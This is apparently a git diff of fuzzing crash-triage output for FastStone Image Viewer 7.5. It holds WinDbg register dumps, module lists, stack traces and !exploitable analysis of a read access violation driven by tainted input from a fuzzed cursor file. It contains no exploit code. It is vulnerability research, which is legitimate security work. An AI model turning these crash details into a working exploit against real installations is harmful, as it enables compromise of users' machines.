+*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0007ed2d ecx=07e97b10 edx=00003879 esi=ffcb0010 edi=07cc0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6119.96 -1.32184e-019 -1.08566e-029 -3.95582e-019 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002f7000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002f7000 367d01f6 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ce 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002f7000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/9913/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/9913/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f1d2af4 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/9913/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x127b572d/75112/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x127b572d/75112/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x127b572d/75112/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x127b572d/75112/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x127b572d/75112/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..8d85b40 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x127b572d/75112/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x127b572d/75112/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x127b572d/75112/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..abadd2d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x127b572d/75112/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffd`530f0000 00007ffd`532e5000 ntdll.dll +ModLoad: 00000000`770d0000 00000000`77273000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1324: page heap enabled with flags 0x3. +ModLoad: 00007ffd`51200000 00007ffd`51259000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffd`52e70000 00007ffd`52ef3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`770c0000 00000000`770ca000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74f20000 00000000`74f85000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1324: page heap enabled with flags 0x3. +ModLoad: 00000000`751c0000 00000000`752b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`75790000 00000000`759a3000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`74f90000 00000000`75123000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75310000 00000000`75328000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`756e0000 00000000`75703000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`76430000 00000000`7650a000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`75710000 00000000`7578b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76510000 00000000`76630000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`75660000 00000000`756d9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76370000 00000000`7642f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`75140000 00000000`751b5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76080000 00000000`7613a000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76280000 00000000`76316000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`767a0000 00000000`76a21000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75f90000 00000000`76073000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74f10000 00000000`74f18000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74f00000 00000000`74f06000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75a10000 00000000`75a35000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74ce0000 00000000`74ef2000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.488_none_11b1e5df2ffd8627\comctl32.dll +ModLoad: 00000000`76b00000 00000000`770b1000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c70000 00000000`74cdd000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75490000 00000000`7553f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75550000 00000000`755d7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`76320000 00000000`76365000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c50000 00000000`74c6b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74c20000 00000000`74c42000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bf0000 00000000`74c18000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a50000 00000000`74bea000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75370000 00000000`75389000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`74a30000 00000000`74a49000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74420000 00000000`74a27000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74400000 00000000`7441d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001e0000 00000000`001fd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`743f4000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74380000 743c7000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`74300000 00000000`74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`761a0000 00000000`76273000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76a30000 00000000`76a8c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75330000 00000000`7536b000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`755e0000 00000000`7565e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c3000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741fd000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73da0000 00000000`73f05000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73bc0000 00000000`73da0000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73959000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f8000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1324.1b98): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=01ffed2d ecx=07f255b0 edx=00003879 esi=f9e30010 edi=0fb9efd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0023:00604b66 fpdp=002b:07f25870 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.755120800610796640000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 5.379433600000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=1.02857e-038 1.0653e-038 9.82655e-039 9.64286e-039 +xmm7=1.5134e-043 9.91837e-039 4.22458e-039 1.05612e-038 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08008130 07f85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 751df989 00289000 751df970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 771374b4 00289000 9450bbf0 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 77137484 ffffffff 77157359 00000000 ntdll_770d0000!__RtlUserThreadStart+0x2f +0019ffec 00000000 00963a10 00289000 00000000 ntdll_770d0000!_RtlUserThreadStart+0x1b + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x127b572d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_770d0000!__RtlUserThreadStart+0x2f +STACK_FRAME:ntdll_770d0000!_RtlUserThreadStart+0x1b +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x127b572d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x127b572d/75112/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x127b572d/75112/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..abadd2d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x127b572d/75112/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffd`530f0000 00007ffd`532e5000 ntdll.dll +ModLoad: 00000000`770d0000 00000000`77273000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1324: page heap enabled with flags 0x3. +ModLoad: 00007ffd`51200000 00007ffd`51259000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffd`52e70000 00007ffd`52ef3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`770c0000 00000000`770ca000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74f20000 00000000`74f85000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1324: page heap enabled with flags 0x3. +ModLoad: 00000000`751c0000 00000000`752b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`75790000 00000000`759a3000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`74f90000 00000000`75123000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75310000 00000000`75328000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`756e0000 00000000`75703000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`76430000 00000000`7650a000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`75710000 00000000`7578b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76510000 00000000`76630000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`75660000 00000000`756d9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76370000 00000000`7642f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`75140000 00000000`751b5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76080000 00000000`7613a000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76280000 00000000`76316000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`767a0000 00000000`76a21000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75f90000 00000000`76073000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74f10000 00000000`74f18000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74f00000 00000000`74f06000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75a10000 00000000`75a35000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74ce0000 00000000`74ef2000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.488_none_11b1e5df2ffd8627\comctl32.dll +ModLoad: 00000000`76b00000 00000000`770b1000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c70000 00000000`74cdd000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75490000 00000000`7553f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75550000 00000000`755d7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`76320000 00000000`76365000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c50000 00000000`74c6b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74c20000 00000000`74c42000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bf0000 00000000`74c18000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a50000 00000000`74bea000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75370000 00000000`75389000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`74a30000 00000000`74a49000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74420000 00000000`74a27000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74400000 00000000`7441d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001e0000 00000000`001fd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`743f4000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74380000 743c7000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`74300000 00000000`74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`761a0000 00000000`76273000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76a30000 00000000`76a8c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75330000 00000000`7536b000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`755e0000 00000000`7565e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c3000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741fd000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 